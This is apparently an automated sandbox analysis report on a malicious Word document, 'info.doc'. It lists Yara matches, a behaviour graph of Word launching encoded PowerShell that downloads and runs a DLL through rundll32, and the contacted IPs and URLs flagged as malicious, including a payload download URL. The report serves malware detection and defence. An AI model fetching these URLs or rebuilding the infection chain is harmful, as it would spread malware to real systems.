Source: Yara match File source: 0000000E.00000002.2099058113.0000000000391000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2095249206.00000000002A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2103660076.0000000000151000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2337362227.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2098697585.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2092936438.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2100172117.0000000000271000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2097402342.00000000001C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2092986854.0000000000251000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 17.2.rundll32.exe.130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.150000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.180000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.270000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.390000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.260000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.690000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 337044 Sample: info.doc Startdate: 07/01/2021 Architecture: WINDOWS Score: 100 58 Antivirus detection for URL or domain 2->58 60 Multi AV Scanner detection for dropped file 2->60 62 Multi AV Scanner detection for submitted file 2->62 64 12 other signatures 2->64 14 cmd.exe 2->14         started        17 WINWORD.EXE 293 21 2->17         started        process3 file4 78 Suspicious powershell command line found 14->78 80 Very long command line found 14->80 82 Encrypted powershell cmdline option found 14->82 84 PowerShell case anomaly found 14->84 20 powershell.exe 12 9 14->20         started        25 msg.exe 14->25         started        50 C:\Users\user\Desktop\~$info.doc, data 17->50 dropped signatures5 process6 dnsIp7 54 fmcav.com 35.208.84.24, 49165, 80 GOOGLE-2US United States 20->54 52 C:\Users\user\Xts_nmf\P4188qk\U95D.dll, PE32 20->52 dropped 68 Powershell drops PE file 20->68 27 rundll32.exe 20->27         started        file8 signatures9 process10 process11 29 rundll32.exe 2 27->29         started        signatures12 76 Hides that the sample has been downloaded from the Internet (zone.identifier) 29->76 32 rundll32.exe 1 29->32         started        process13 signatures14 56 Hides that the sample has been downloaded from the Internet (zone.identifier) 32->56 35 rundll32.exe 1 32->35         started        process15 signatures16 66 Hides that the sample has been downloaded from the Internet (zone.identifier) 35->66 38 rundll32.exe 1 35->38         started        process17 signatures18 70 Hides that the sample has been downloaded from the Internet (zone.identifier) 38->70 41 rundll32.exe 1 38->41         started        process19 signatures20 72 Hides that the sample has been downloaded from the Internet (zone.identifier) 41->72 44 rundll32.exe 1 41->44         started        process21 signatures22 74 Hides that the sample has been downloaded from the Internet (zone.identifier) 44->74 47 rundll32.exe 1 44->47         started        process23 signatures24 86 Hides that the sample has been downloaded from the Internet (zone.identifier) 47->86
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
152.170.79.100
 unknown Argentina
10318 TelecomArgentinaSAAR true
190.247.139.101
 unknown Argentina
10318 TelecomArgentinaSAAR true
35.208.84.24
 unknown United States
19527 GOOGLE-2US true
138.197.99.250
 unknown United States
14061 DIGITALOCEAN-ASNUS true

Contacted Domains

Name IP Active
fmcav.com 35.208.84.24 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://138.197.99.250:8080/ms1mi/fn90mfko2oaz05ju8/jnqglo5fbrsmznurm/tiqz1milsrtd34u5/r0vm4ksa/2tfuy/ true
  • Avira URL Cloud: safe
 unknown
http://fmcav.com/images/7FV4Nd/ true
  • Avira URL Cloud: malware
 unknown